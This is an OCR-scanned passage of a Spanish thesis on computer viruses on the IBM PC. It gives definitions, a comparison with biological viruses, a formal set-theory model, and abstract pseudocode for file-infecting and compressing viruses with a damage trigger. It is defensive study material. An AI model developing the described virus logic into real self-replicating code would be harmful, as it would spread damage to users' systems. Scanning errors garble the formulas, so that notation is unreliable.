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INTRODUCCION 

Los artlculos sobre seguridad informática han saltado, recientemente, 

desde alguna parte oculta en la sección de negocios o ciencias a la primera 

página de las publicaciones. Esto no es el resultado de algún novedoso y 

maravilloso avance técnico, sino a causa de la aparición de una forma de agresión 

a los sistemas computacionales, particularmente perniciosa: el "vlrua• Informático. 

Hay un gran número de artículos en la llteratura cotidiana en los cuales 

analiza este problema desde diferentes aspectos aislados y sin un enfoque 

integral del problema y solución. Muchos de ellos se enfocan en lo que deberla 

hacerse para detectar y prevenir un ataque de virus o cómo limitar la acción de 

éS1e. Por otro lado, es poco lo escrito sobre como los virus informalicos consiguen 

Infectar un sistema. 

El intento de este documento no es proporcionar un •como hacer" para un 

posible creador de virus, por el contrario, analizar algunas vulnerabilidades 

generales de .los sistemas y mecanismos de funcionamiento de los virus, de tal 

forma que el problema de defensa pueda ser mejor comprendida. 

La discusión técnica se centrará en la computadora personal IBM (IBM PC), 

aunque muchos de los conceptos generales son aplicables a un amplio rango de 

sistemas. Aunque la presencia de los virus inlormálicos puede darse en varios 

tipos de sistemas, su gran desarrollo y difusión se ha dado en las PC's, debido ha 

que éS1e tipo de computador evolucionó sin Implementos de seguridad técnica, es 

decir, que en el afán de estructurar un sistema más eficiente, se descuidó 

adicionarle módulos que protegieran la integridad del sistema. En otros sistemas 

como las Macrocomputadoras, se encuentrasn caracterlsticas técnicas especificas 

orientadas como medidas de seguridad, por lo que en éstas es muy dificil crear un 

virus que explote los pocos "huecos" en les defensas del computador. 

Como siempre, el descubrimiento de las vulnerabilidades de un sistema trae 

consigo el riesgo lmplíclto de que esta inlormaclón sea utilizada con fines 

destructivos, sin embargo en el desarrono de este trabajo, se consideró, que 

quienes se dedican al dise~o de apíicaciones destructivas, dominan ampliamente 

eS1os temas, caso contrario es el común de los usuarios de PC, que resultan ser 

les victimas de los virus; Informarles sobre el funcionamiento de los virus y las 
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wlnerabifidades de los sistemas, permitirá que las defensas técnicas puedan ser 

Inteligentemente evaluadas y seleccionadas. 

B estudio presenta en un principio, definiciones generales, con la intención 

de establecer puntos de referencia que son base en explicaciones posteriores. 

Algunas de estas definiciones son desarrolladas aplicando la Lógica Simbólica, a 

fin de deHmitar al conjunto de programas que entran dentro de ésta categor!a. 

Esto por que la mayor!a de las referencias y discusiones sobre lo que es o no es 

un programa virus, se ha planteado de manera muy dispersa, ya que la mayoría 

de los investigadores sobre el tema, se ha enfocado a estudiarlos solamente 

desde una perspectiva aislada. El planteo de una definición mediante la teoría de 

conjuntos es una manera efectiva de demarcar que programas pueden 

catalogarse como virus y que tipo de virus son. 

Otro punto importante en el planteamiento inicial es clasificar los distintos 

tipos da virus, siendo el criterio de clasificación más idóneo el de su 

comportamiento dentro de los sistemas que Infectan. Las características 

funcionales más peculiares de los virus son su capacidad de autoreproducción y 

su labor destructiva, pero éstas no siempre se presentan en todos los tipos de 

virus. Dada estas características, se clasifican en cuatro tipos: "Benignos•, 

"Caballos de Troya", "Portadores" y "Virulentos", todos ellos son descritos en el 

capítulo 1. 

B capítulo 2, se hace un planteamiento completamente técnico del 

problema, describiendo el comportamiento vírico a través de las vulnerabilidades 

de los sistemas. A fin de que este planteamiento sea claro, en la primera parte del 

capítulo se detalla sobre los principales puntos estructurales del funcionamiento 

técnico de un computador personal: su arquitectura, mapa de memoria, el ROM 

8105, los procesos de arranque del computador, manejo de interrupciones, el 

manejo da los drives y el manejo de los archivos ejecutables. Entender estos 

conceptos es fundamental para la comprensión del comportamiento vírico, ya que 

éstos aprovechan la falta de control administrativo de tales funciones. 

Una vez estudiado las wlnerabilidades técnicas, en el capítulo 3 se plantea 

un programa Integral de seguridad Informática, siendo aplicable no sólo para la 
prevención de ataques virales, sino además, para una efectiva prevención contra 

pérdida de funcionalidad informática de los sistemas, ya que se considera tanto el 

aspecto técnico y administrativo, as! como el aspecto humano, que significa un 

aspecto de tal relevancia que puede conslderarse el punto central del mismo. 
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También en el capitulo 3ro, se analiza el problema de la detección, es decir, 
el como saber si un sistema está Infectado. Este problema se ha resuelto en gran 
parte mediante el empleo de una técnica de reconocimiento de "firmas"; cada virus 

tiene una firma particular, esta firma se encuentra en todos los sistemas Infectados 
dada la característica de autorreproducción del virus, y este hecho es 

aprovechado para identificarlo. El programa para detección de virus descrito en 

éste caphulo se fundamenta en esta característica. 

En base a los conocimientos vertidos en los capítulos 1 y 2, se desarrolla un 

programa virus nuevo, esto con el fin principal de probar a los sistemas de 

detección, para medir su efectividad en detectar y contener virus no clasificados 

(cuya firma no se conoce), y por otro fado, entender la filosofía de programación 
en que se basan los virus Informáticos, con lo cual se pueden desarrollar 
pfanteamlentos sobro cómo protegerse mejor de ellos. 

Al virus de nueva creación se le ha diseñado con las características de: 

evitar la detección de soltware antivirus, Infectar al sector de carga de los discos 

flexibles da 5 1/4", permanecer residente en memoria, interceptar la lnt61'rupclón 

13h y cada día 6 de cualquier mes, entre las 20 y 21 hrs desplegar un remolino de 

caracteres en la pantalla del computador. Para éste virus, se desarrollaron rutinas 

destructiva$ l/ de Infección a disco duro, pero no son explicadas en este 

documento para evitar ser una aliciente al desarrollo de programas destructivos. 

El desarrollo de un programa vírico plantea aspectos muy Interesantes del 
tema, así mismo, el desarrollo de un programa que funcione como una vacuna 
plantea aspectos desde una dimensión diametralmente opuesta, y ambos 

aspectos se complementan. 

La base que debe fundamentar a un programa vacuna es el análisis 

exhaustivo del compcrtamlento de los virus. Una vez delimltado el dai'lo propiciado 

pcr un virus y sus características de operación, se ha resuelto el 90% del problema 

de desarrollo de un algoritmo que efectúe la acción Inversa, es decir, que lleve al 

sistema a su estado original, antes del ataque. 

El programa vacuna explicado en el capítulo 5, emplea la misma técnica de 
programación que el programa en Pascal presentado en el capítulo 3, pero a 
diferencia de éste y dado que las características del nuevo virus son 

perfectamente conocidas, se agrega un módulo de "reparación", que efectúa la 
desinfección de los discos atacados por el virus. Como característica adicional, el 

programa vacuna es residente en memoria, con lo que permanece activo y alerta, 
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checando a todo disco que se accesa en la unidad A del computador y en caso 
de reconocerlo Infectado, procede a la desinfección automática del mismo. 

Por último, en el capitulo 6 se presenta el análisis de los virus "Braln", 
"Stoned" y una síntesis de los virus más difundidos en la actualidad. El virus 
"Braln" es el virus más documentado, ya que es el primero en atacar 
computadoras en los Estados Unidos de Norteamérica, por lo que ha sido 
ampliamente investigado por distintos grupos de investigadores y desde distintos 
aspectos. El análisis del virus "Stoned" se efectúa directamente de un disco 

Infectado, por fo que no solo se describe su comportamiento, sino además se 
presenta un listado desensamblado del mismo, el cual se consiguió a través del 

programa DEBUG del sistema operativo. 
Los virus más difundidos en las computadoras actuales se describen 

brevemente, mencionando las características mas distintivas de cada uno de ellos, 
a fin de ayudar efectivamente a su identificación. Ante un ataque, la Identificación 
del virus prontamente, puede ser muy Importante para saber que medidas se 
deben tornar. 
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QUE SON LOS VIRUS INFORMATICOS 

Los virus Informáticos han evolucionado tan rápidamente que actualmente 

representan un grave problema de seguridad de los sistemas informéticos, 

alaciando tanto el funcionamiento del equipo de cómputo como de la inlormación 

que almacena y procesa. 

El término "virus Informáticos" se deriva de la gran simiUtud de 

comportamiento entre estas aplicaciones y los virus biológicos. En la tabla 1, se 
presentan las características de los virus biológicos e informátlros a fin de hacer 

evidentes sus semejanzas. 

Vlruo Bloló¡¡lco1 Vlrua lnform•ttcoa 

Dimensiones Los virus biológicos son Un virus Informático es un 
relativamente organismos pequel"los en conjunto de Instrucciones en 

poco extremo, mktan alrededor de código mitqulna (tlplcamente 
slgn111cativas 200 a 250 angstroms (el 200 a 4000 bytes). 

dlflmetro de un cabello m\de 
un millón da angstroms). 

Efectos que Son capaces de alterar el Son capaces do atterar el 
produce funclonamlento normal de un lunclonamlento normal de 

macroorganismo. una computadora. 

Son códigos ejecutables que 
Habltat Son organismos un\celularas se ubfcan dentro de otros 
(medk>) que viven den1ro do otras códigos ejecutables 

células ln.-nnr3masl. 



Ylrua Blológlcoa Ylrua lnlormtll<:oa 

Capacidad dé Los virus blológicos afectan p.-, copiar su mismo 
automiproducclón las célutas de un código dentro de otro u otros 

macroorganlsmo modificando conjuntos de códigos 
su lnlonnaclón gonétlca al (programas), prossotando 
\/se mproduciondo dentro de una especie de •Infección 
tas ~lulas afectadas, lntonnét\ca'. 
contagiando celulas sanas 
que tan¡¡an contacto con 
et\as. 

Propagación Son ntuy contagiosos en Son muy contagiosos en 
organismos que no cuenten sistemas no protegidos. 
con protección adecuada 
(vacunas). 

Presencia Pueden estar latentes en el Pueden estar contenidos en 
asintomática organlsmo durante bastante un programa sin manifestarse 

tiempo sin que ésto presente hasta qoo se 'dispare• su 
ningún slntoma de Infección. acción destructiva 

TABLA 1. COMPAAACION DE LOS VIRUS BIOlÓQICOS E INFORMATlCOS 

Una dfferencia clara entre ambos, consiste en la relación entre el efecto 

nocivo y la magnttud de infección. En los virus biológicos esta relación es directa, 

en tanto que para los informáticos es una constante, es decir, para los virus 

biológicos a mayor cantidad de células Infectadas es mayor el efecto nOcivo, 

mientras que en los Informáticos, un sólo programa que esté contaminado y sea 

activado causa el mismo dal\o que si existieran mas programas contaminados, 

aunque el mayor número de contagios dá una mayor probabilidad de que un 

programa infectado sea activado y cause daños o propague el virus a otras 

computadoras. 
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1.1. DEFINICION. 

Los virus informáticos no son más que programas, los cuales emplean los 

mismos elementos de programación que utilizan los demás programas, es decir, 

no cuentan con herramientas diferentes qus las normalmente usadas en los 

programas de computadoras. Pero a diferencia de los demás programas, 

presentan caracterlsticas particulares como son: 
1. la autorreproducción. 
2. Son muy pequel'\os. 

3. Alteración de los sistemas informáticos sin conocimiento ni consentimiento 

da los usuarios. 

Los virus informáticos son una especie de '1reta" para afectar la integridad 

de un sistema de cómputo. AJ Igual que otras "tretas", un virus Informático puede 

causar la pérdida o atteración de programas o datos y de comprometer la 

confidencialidad de los mismos. Pero a dtterencia de otras, los virus informáticos 
pueden reproducirse de programa en programa, y de sistema a sistema, sin 

intervenci6n'directa de los usuarios. 
El comportamiento de estos programas es el principal punto para 

establecer una definición formal de los virus informáticos. Es por esto que el 

primer intento de definirlos haya sido el denominarlos cerno 'vlru••. Las 

definiciones que se pueden encontrar actualmente se avocan a describir su 

funcionamiento, intentando englobar todos los virus existentes, pero estos son tan 

variados tanto en su estructura como en su comportamiento, que el tratar de 

delimitarlos en una definición es muy problemático. 

Fred Cohen los define como: 
Un 'virus' puede definirse como una secuencia de símbolos los cuales, al 

interpretarse por una computadora, produce otra secuencia de slmbolos en 

la misma computadora que pueden modificarla. 

En esta definición se encuentran Importantes aspectos : 

1. Un virus es justamente corno cualquier otro programa el cual es una 

secuencia de símbolos. Una Instrucción de máquina que es parte de un 



programa 'virus' es, vista en sí misma, indistinguible de una Instrucción de 

máquina que sea parte de otro programa cualquiera. 
2. Un virus puede causar otra secuencia da símbolos qua pueden infectar a 

otros programas (un programa virus pueda reproducirse a sí mismo). 

3. Esta autorreproducción de si mismo ocurre cuando se interpreta la 

secuencia da slmbolos que constttuyen al programa virus (el programa 

virus debe tener al control del procesador para desarrollar su actividad). 

Burger proporciona una definición similar. El define a un programa como 

virus si reune las siguientes características : 

1. Modificación del software por el programa virus al adherir todo o parte de 
sus estructuras de programa en otros programas. 

2. Capacidad de ejecutar la modificación sobre un número de programas. 

3. Capacidad de ev~ar infectar un mismo programa dos veces reconociendo 

qua el programa ya ha sido infectado por él. 

En la Investigación sobre aste tema se encuentran muchas definiciones, las 

cuales poco mas o menos describen las consideraciones anteriores. 

Si se quiere abarcar a todo el conjunto de los virus, la manera mas sencilla 

de hacerlo es definiéndolos como programas 'mal Intencionados', o 

•mallclosos•, es decir, diseñados con fines perjudiciales. Esto es cierto, no hay 

virus informático que sea accidental o que no esté destinado a causar problemas. 

Esto también se aplica a los virus llamados "benignos", ya que si bien es cierto que 

no provocan pérdida de información, sí emplean recursos informáticos sin 

aportar ningún beneficio al usuario. 
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1.2 DEFINICION EMPLEANDO TEORIA DE CONJUNTOS 

Un '\lirus" puede ser definido informalmente como una secuencia de 

símbolos cuya interpretación causa otra secuencia de slmbolos que contienen al 

virus. Si se considera la interpretación de la secuencia de símbolos en un 

computador como un programa, es importante estudiarlos ya que poseen 

habilidades para alterar otros programas y reproducir su código en ellos. 

Para un estudio más detallado sobre los virus se parte de un "programa 

virus' de ejemplo, que pudiera presentarse en un sistema computacional moderno 
y se emplea este programa para demostrar algunas de las potencialidades de 

ataque a las computadoras. Se da una definición formal de una generalización 

trivial de una máquina de estados finitos (computador), definiendo el "conjunto de 

virus" en términos de esta máquina, y se exploran algunas de s~s propiedades. Se 
define una computadora y un conjunto de pares (máquina, almacenamiento

magnético-de-datos), en donde se encuentra el "conjunto de virus" (CV). Se define 

el término 'virus" y "evolución' por conveniencia para la discusión. 

Se demuestra que cuafquier secuencia de código que se reproduzca a sf 

mismo es un elemento del CV, tal que son infinitamente contables los CVs y los no 

CVs, tal máquina existe para cualquier secuencia de códigos afmacenados 

magnéticamente que contenga virus y para cualquier secuencia de ellos que no 

los contenga, y, por lo tanto, cualquier secuencia finita de símbolos almacenados 

magnéticamente es un virus con respecto a tal máquina. 
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1.2.1 Discusión formal. 
Se definió informalmente a un "virus Informático' como un programa que 

puede "infectar" otros programas, modificándolos y reproduciendo su código 

dentro de ellos. 

El siguiente programa de ejemplo, muestra cómo un virus puede ser escrito 

en un pseudolenguajo de computación. El slmbolo ':='es usado para asignación, 

el símbolo ":" designa y delimlta una etiqueta, ';" separa las Instrucciones, '=" se 

emplea para comparación, "-" indic-J negación (NOT), Jos símbolos '{' y '}' 

enmarcan un grupo de instrucciones, y el símbolo • ... • es usado para Indicar una 

parte del programa que contiene Instrucciones Irrelevantes para el estudio que sa 

efectúa. 

programa virus : = 

{1234567; 

subrutina lnfecta·archlvo-ejecutablo := 

{ciclo: archivo = selección-aleatoria-archivo-ejecutable; 

~ primera-línea-de-archivo = 1234567 

then gato ciclo; 

infecta el archivo; 

subrutina efectua-daño := 

{algún daño es efectuado;} 

subrutina condición:= 

{retorna una bandera cerno verdadera (true) sl se cumple una condlcl6n 

determinada;} 

Programa Principal:= 

{infecta-archivo-ejecutable; 

W condición then efectua-dai'\o; 

gota sigue; 

sigue; } 
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Este programa de ejemplo V busca un archivo e;ecutable E que no esté 

Infectado, esto lo reconoce checando que la primera llnea no contenga la 

secuencia de números 1234567, y de no encontrarla, infecta al archivo E con el 

código de V, produciendo un archivo infectado l. Posteriormente evalúa si se 
cumple con una condición determinada y de ser asf efectúa algún dMo al sistema. 

Cuando el usuario quiere ejecutar al programa E, el programa 1 es ejecutado en su 

lugar; este programa infecta otro programa y después efectúa las funciones 

normales de E, de tal forma que para el usuario todo el proceso se efectuó de 

manera normal. El efecto de infección a otro programa es efectivo sólo si no se 

cumple la condición que activa el daño al sistema (normalmente es pérdida de 

información, incluyendo a los archivos infectados). Por esto es necesario, para el 

virus, que la condición de dalia no sea muy fácil de cumplir con el fin de que 

pueda efectuar el mayor número de infecciones, que permitan expanderso lo más 

posible, no sólo en el sistema, sino también a otras computadoras. 

Poro que un programo sos consldorodo como virus necoalta aer usado 
con nnoo deatructlvoo. 

Existen virus que pueden ser capaces de efectuar compresiones y 
decompresiones de su código, ad como el del programa que va a ser su anfitrión. 

Por ejemplo, un programa comprimido virus puede ser escrtto para encontrar un 

archivo "sano" (no infectado), comprimir parte de su código (del programa sano), 

y añadirse a él, todo esto sin que se de cuenta el usuario. Al ejecutar ef archivo 

Infectado, éste se decomprime y se ejecuta normalmente, sin efectuar ningún 

daño al sistema. Aunque estos programas no efectúan daño (llamados virus 

benignos), si se consideran virus, ya que la ejecución del programa se sienta, 

además que efectúa el proceso de infección. La detección dé estos programas es 

más diffcil, debido a que no tienen un efecto aparente en el tamaño de los 

archivos, conservando las funciones de éste intactas. Un simple programa que 

efectúe funciones de compresión puede ser escrito de la manera siguiente: 



programa virus-comprimido:= 
{01234567; 

subrutina lnfecta-archlvo-e)ecutable := 
{ciclo: archivo = obtener-aleatoriamente-archivo-ejecutable; 

tt primera-línea-del-archivo = 01234567 

then goto ciclo; 

comprime-archivo; 

añade versión comprimida al archivo; 

} 

programa prfnclpal := 
{Infecta-archivo-ejecutable; 

decomprime resto-de-este-programa dentro 

de un archivo temporal tmp; 

run tmp; 

} 

El programa C (comprimido), busca un archivo sano E, lo comprime, y le 

añade la versión comprimida del código virus, para crear un archivo l. Después 

decomprime el resto del archivo (código original) creando un archivo temporal (en 

memoria) y lo e)ecuta. Cuando 1 es ejecutado, efectúa el mismo proceso. Este 

efecto se manifiesta Inmediatamente en el sistema en la velocidad con que un 

programa es cargado en memoria y es ejecutado, ya que tiene que decomprimirfo 

y antes de efectuar el código original, se ejecuta el código del programa virus. 

Virus de este tipo se encontraron en el sistema operativo UNIX. 
Este programa V puede reescribirse en una versión m{ls agresiva si se le 

añade una condición de "disparo", que active algún daño y la cual sea una hora 

determinada de algún dfa especifico, y que el daño al sistema sea que ejecute un 

ciclo infinito. Las modificaciones se muestran a continuación: 



subrutina daño : = 
{ciclo: goto ciclo;} 

subrutina condlct6n-de-dlsparo := 
{n año > 1984 then verdadero otherwise falso;} 

Análogamente, considere una enfermedad biológica que es 100% 
Infecciosa, que se propaga siempre que la gente se comunica, y es capaz de 

matarlas en un instante determinado, pero las personas infectadas no presentan 

síntomas (molestias) hasta ese momento. Si el daño no se presenta por mucho 

tiempo, las personas inlectadas pueden taner contacto con muchas personas 

sanas e infectarlas, y si viajan a otras ciudades se esparcirán por todo ar mundo. 

Así un virus Informático puede viajar de programa en programa, de computadora 

en computadora, por esto se han avocado a su investigación muchos organismos 

de negocios, gubernamentales, financieros y académicos. 

1.2.2 Slmbolos usados. 
En el resto de esta sección se emplearan símbolos usados en Lógica, para 

definir y proveer teoremas acerca de los virus y tas computadoras. Empezaremos 

por mostrar estos símbolos y su interpretación. 

Los conjuntos se denotan encerrándolos entre los signos"{" y"}" (llaves), y 

los elementos del conjunto por símbolos separados por comas dentro de las 

llaves (por ejemplo: {a,b} designa al conjunto formado por los elementos a y b). 

Normalmente se usarán letras minúsculas (ejemplo: a,b,c, ... ) para designar tos 

elementos de un conjunto y las letras mayúsculas (ejemplo:A,B,C,. .. ), para 
designar a los conjuntos. La excepción a este caso es cuando un conjunto sea 

elemento de otro conjunto, en que se emplearán letras minúsculas. 
Los símbolos usados en ta Teoría de Conjuntos E, e, U, 1/, 3, iff, and y or 

serán usados de manera normal. El símbolo N sera usado para denotar el 
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conjunto do los números naturales (por ejemplo: {0,1,. .. }) y n será usado para 

representar al conjunto de los números enteros (por ejemplo: {1,2, ... }). 

La notación {x:P(x)} donde P es un predicado se usa para indicar : toda x 

cuyo valor haga que la función P(x) sea verdadera. 

Los corchetes "["y "]" son usados para agrupar declaraciones cuya relación 

no es obvia. 

Los paréntesis "(" y ')" son usados para jerarquizar la interpretación de los 

enunciados y la secuencia de enunciados se separan por comas, (por ejemplo: 

(1,2, ... ) es la secuencia de enteros que empiezan con el número 1]. 

El slmbolo " ... " se usa para indicar una secuencia indefinida de elementos 

de un conjunto, o estados de una máquina en donde el número de elementos son 

muy numerosos para señalarlos en un enunciado. 

Cuando se refiere a los conjuntos, el slmbolo "+" indican la unión de dos 
conjuntos (ejemplo {a}+{b} = {a,b}), el slmbolo U indica la unión de cualquier 

número de conjuntos, el slmbolo '·' indica la resta de dos conjuntos, que es el 

conjunto formado por todos los elementos del primer conjunto que no estén en el 

segundo conjunto (por ejemplo: {a,b} • {a} = {b}). Se usa el signo "=" para 

Indicar igualdad. En cualquier otro caso estos slmbolos se usarán de manera 

normal como son usados en Aritmética. El oµerador J ... J os us¡¡do para indicar 

la cardinalidad de un conjunto o del número de elementos en una secuencia 

apropiada (por ejemplo: 1{a,b,c}1 = 3, 1a,b, ... ,f1 = 6). 

1.2.3 Máquina de estados flnHos (computadora). 
Empezaremos la discusión definiendo una máquina computadora, basada 

en un modelo con los servicios básicos para generalizar el análisis. El modelo 

básico de máquina que se analiza es el conjunto de máquinas que consisten de 

una secuencia de estados finitos (MEF · Máquina de Estados Finitos), con una 

cabeza de lectura/escritura y un medio de almacenamiento semlinfinito (cinta 

magnética). Este modelo se ilustra en la figura 1-1. La cabeza de lectura/escritura 

puede colocarse en posición de accesar a una sola celda de la cinta en un 

instante de tiempo, y es capaz de leer o escribir un número finito de símbolos de o 

hacia la cinta, y puede moverse en la cinta una celda a la izquierda (·1), a la 

derecha (+1), o quedarse estacionaria (O) para cualquier estado. 
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CINTA MAONETICA 

CABEZA 1--

DE CELDA 
LECTURA/ESCRlnlRA. CERO 

MAQUINA DE ,1--
ESTADOS 
FINITOS CELDA 

(COMPUTADORA) / UNO ,_...__ 
CELDA 
008 

1--

FIOUAA 1·1. MAQUINA CE ESTADOS FINITOS 

La MEF toma una entrada de la cinta, pasa al siguiente estado, produce 

una salida hacia la cinta, y moverse en la cinta como una funci9n que mapea los 

estados Internos. El conjunto da máquinas computacionales MC se define como: 

\fM[M E MC] iff 

M:(SM,IM,DM:SM X IM - IM, 

NM:SM X IM - s,... 
D,.:S,. X 1,.. - d) 

donde el estado de la MEF es uno de n+1 estados posibles, 

S.,= {s0, .. .,sn}. n EN, 

el símbolo en fa cinta es uno de j + 1 posibles símbolos, y 

JEN, 
el conjunto de movimientos en la cinta es uno de tres posibles 

d = {-1, O, +1}, 
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Ahora se definen tres funciones del tiempo que describen el 

comportamiento de los programas MC. El tiempo en el análisis expresa el número 

de tiempos para desarrollar las operaciones básicas por la MC, llamado 

"movimiento' que es la Interpretación del código de operación (instrucción). 

La función estado(tiempo) mapea el desplazamiento de la máquina 

después de efectuar el movimiento, 

S,..: N - s,.. ; estado(tiempo), 

la función código(tiempo, # celda) • que mapea el desplazamiento hacia un 

número de celda, indicando el contenido de esa celda, después de efectuar el 

movimiento 

C\,.: N x N - 1,..; código(tiempo, # celda) 

y la función celda(Uempo) que mapea el desplazamiento a un número de celda en 

donde se posiciona la cabeza de lectura/escritura después de efectuar el 

movimiento, 

P,..: N - N ; cclda(tiempo) 

Los 3 parámetros s,... C\... P,.. y la "historia" de la máquina (H,,.) -secuencia 

de movimientos, para un particular número de movimientos (o instantes de 

tiempo), determinan la sftuación de la máquina a un tiempo. Se describe la 

operación de una máquina como una serle de movimientos que van de una 

sftuación a la slgui~nte. La situación inicial de una máquina se describe por: 

(S,..(O) = SMO, [¡.(O,i) = 0..,,1. P,..(O) = Po), i E N, 

Toda situación subsecuente de una máquina (computadora) puede ser 

determinada por la situación inicial y las funciones N, O y O que son mapas de los 

estados especflicos de la máquina, y el sfmbolo (código) que se encuentre en 

posición para ser leído del medio de almacenamiento magnético o ser escri'.o en 

él, antes de un movimiento para el •estado siguiente•, "salida' y "posición de 
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lectura/escritura" después del movimiento. Tal situación se muestra como una 

función del tiempo: 

Vt EN 

[SM(t+1) = N(SM(t), Ll.!t,PM(t)))] and 

[C\,.(1+1,PM(t)) = O(SM(t), C\,(t,PM(t)))] and 

[Vj " P,..(t), l=l,(t+ 1,j) = L~(t,j)] and 

(PM(t+1) = Sup(O,PM(t) + O(S,..(t), ["1.(t,P,..(t))))]. 

Esta máquina no tiene un estado especifico que garantice parar el proceso 

en el tiempo determinado en que se llegue a él, en el cual la situación de la 

máquina no cambiará. Se define el estado de "halr' (detención), como cualquier 

situación que no cambia con el tiempo. 

Se menciona "M se detiene en un tiempo r• iff 

[Vt'>I 

y la 'M para" si 

[SM(I) = SM(t')] and 

[Vi E N[ ~(t,i) = ClM(t',1)]] and 

[P,..(t) = PM(t')]] 

[3t E N[M se detiene en un tiempo t]], 

Se dice que "x corre en un tiempo r· iff 

[[x E 11 ... donde 1 E n] and 

[S(t) = Sol and 

[( C1(t,P(t)), ... , Dt.P(t) + i)) = x]] 
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and "x corre• iff 

[3t E N[x corre en un tiempo t)J. 

Por conveniencia, se definen doo estructuras que se encontrarán a lo largo 

del resto de esta discusión. La primera estructura oo emplea para describir un 

programa para una máquina de estados finttos PC. Se puede entender un 

programa como una secuencia finita de símbolos, cada símbolo pertenece al 

conjunto de símbolos "legales" para ser interpretados por la máquina en cuestión. 

Se define un PC como sigue: 

[VM E TM[Vv[Vi E n 
[v E PC..J si [v E l',.JJ]]. 

La segunda estructura CP, se emplea para describir un conjunto no vaclo 

de programas de computadora (conjunto do programas para una máquina de 

estados finitos). Se define como: 

[VM E TM(W[V E CP] iff 

(i) [3v E V] and 

(ii) [Vv E V[v E PCMllll· 

El uso del subíndice M (por ejemplo PC..J, es Innecesario en el caso de que 

solamente un tipo de máquina está bajo análisis y no exista una ambigüedad. En 
el resto del análisis se omitirá ese subíndice tomando en cuenta esto. 
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1.2.4 Definición Formal de VIRUS 

Ahora se trabajará con el principal concepto de este estudio, el conjunto de 

virus. Anteriormente se definió informalmente a un virus informático como un 

"programa" que puede modificar otros "programas" e incluso remplazar o añadir 

su código dentro de ellos. La interpretación matemática de esta definición para 

una computadora, que se dará a continuación, Intentará mantener la 

generalización de la misma. 
La idea de estudiar a un virus en particular es errrática, esto es a causa de 

que un estudio aislado hace muy diflcil comprender el concepto de evolución, el 

cual es un punto central en los resultados de todo este anélisis. El conjunto de 

virus desarrolla una evolución debido a que permhe que sus elementos produzcan 

otro conjunto que contiene a sus mismos elementos, corno resultado de la 

computación (procesamiento del conjunto de slmbolos virus). Asl que cada virus 

que pertenece al conjunto viral (conjunto de virus), ocasiona que al reproducir 

algunos de sus elementos, del conjunto viral, en alguna parte de la cinta (medio de 
almacenamiento magnético) fuera del virus original, ocasiona que este nuevo 

conjunto sea considerado viral. Esta evolución puede describirse como la 
producción de un elemento del conjunto viral por otro elemento del mismo 

conjunto. 

La secuencia de slmbolos en la cinta será considerada un virus 

dependiendo de en que tipo de máquina será interpretada. Se debe considerar 

que una secuencia de slmbolos puede ser un virus cuando ésta sea Interpretados 

por una MC. La definición del par CV es como sigue: 

[1] VM>ll/ 

[2] (M,V) E CV iff 

[3] [V E MC] and [M E TM] and 

[4] (Vv E V]VHM 

[5] [Vi\lj 

[6] . PM(t) =] and 

[7] SM (t) =s.., and 
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(B] 

(9) ]"' 

(10] 

(11] 

(12] 

(13] 

(14) 

(15] ]]] 

( Q.(t,j), ... , Q.(t,j+ 1 V 1 - 1)) = V 

3v' E V[3t' > t[3j' 

[(0' + lv' 1 ) s JI or !O+ lv 1) s j']] and 

(Q.(t',J'), ..• ,Q.(t'J' + lv' l -1)) = v'and 
[3t:[t < t" < t1 and 

[P.,(t'1 E {j', ... ,j' + lv' 1 - 1 }]] 

Revisando esta definición línea por línea se tiene: 

[1) para toda "M" y "\/'', 
(2] el par (M,V) es un 'conjunto viral' si y sólo si: 

(3) V es un conjunto no vaclo de la secuencia de MC y M es un MC y 
además 

( 4] para cada virus 'Y' dentro de V, para toda historia de la máquina 

M, 
(5) Para todo tiempo t y celda j 

(6] si la cabeza de lectura/escritura está enfrente de una celda j en un 

tiempo t y además 

[7] MC está en el estado inicial en el tiempo t y además 

[B] la primer celda que contiene al virus v es la celda j 

(9] entonces 

(10] este es un virus v' perteneciente a V, en un tiempo t'>t, y 
además coloca cada J' tal que 

(11] coloca j' lo suficientemente lejos de v (fuera de v) 

[12] la primera celda que contiene v' es la celda j' 

(13) y además, para algún tiempo t" entre el tiempo t y el tiempo 

t' 

(14] v' es escrito por M 
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Por conveniencia de espacio, se empleará la expresión 

B 

ª""e 

para abreviar una parte de la anterior definición, la cual empieza en la línea [4], en 

donde a, B. y C son instantes especificas da v, M y V, respectivamente, como 

sigue: 

[\IB[\IC 

[(M,C) E CV] iff 

[[C E MC] and [M E MC] and 

B 
[\la E C[a,.. CJJ]J]. 

La definición del predicado CV es válido para todas las máquinas de 

estados finttos. Se afirma en esta definición que un elemento del conjunto viral 

puede generar cualquier número de elementos del mismo conjunto, dependiendo 

del resto de la cinta magnética. Este aforo adicional de elementos es generalmente 

a causa de un control de restricción Indebido. Finalmente, en esta definición no se 
Incluyen a los virus condiclonalas, expresando que TODO elemento del conjunto 

SIEMPRE genera un nuevo elemento del mismo. SI se quiere Incluir a los virus 

condicionales, simplemente se debe adicionar premisas que modifiquen la 

ejecución del virus en función del reato de la cinta magnética, sin modificar esta 

definición. 

Se dice que V es un conjunto viral con respecto a M 

iff [(M,V) E CV] 

y se define el término ''virus" con respecto de M como: 

{[v E V]: [(M,V) E CV]}. 
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Decimos que ''V evoluciona dentro d8 v' por M' sl 

[(M,V) E CV 

M 
[(v E V) and [v' E V] and [v » {v'})], 

tal que "v' es producido de v por M' si 

''V evoluciona dentro de v' por M" 

y que ''V' es producido de v por M" si 

[(M,V) E CV 

(31 E N[3V' E V' 

[v E V] and [v' E V] and 

M 

[Vv, E V'[v, » v,.,]] and 

[31EN 

[3mEN 

[[1 <m] and (v1 = v] 

and [vm = v']]]]]J]. 

M 
en otras palabras, el fin de la !unción transitiva » empieza de v y desarrolla a v'. 
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1.3 CAUSAS Y ORIGENES. 

No existe ninguna información fidedigna que permita reconstruir la historia 

de los virus y do los contagios virales. La causa de esto consiste en que las 

grandes empresas y los organismos gubernamentales, cientfficcs o milltares 

ocultan la realidad respecto a los virus cuando llegaron a padecer Infecciones en 

sus sistemas, para no reconocer la vulnerabilidad de sus equipos y sistemas. 

Esto ovblamente porque tendrlan que reconocer un fracaso financiare en la 

implantación de sus sistemas de seguridad; sistemas complejos y costosos que 

no pudieron detener a un simple programa de menos de 1 Kbyte de longitud. 

Pero el quien crea a los virus informáticos y cómo se han podido desarrollar 

tantas versiones a lo largo de dos décadas se explica a continuación. 

1.3.1. ¿Quién crea a loa virus lnfcrmt:tl::o::? 
Los motivos por los cuales un programador decide desarrollar un virus son 

muy variados, desde el "reto" de burlar los sistemas de seguridad informática, 

hasta la mala intención de producir daños a ciertas personas, a través de sus 

sistemas de Información computarizados. 

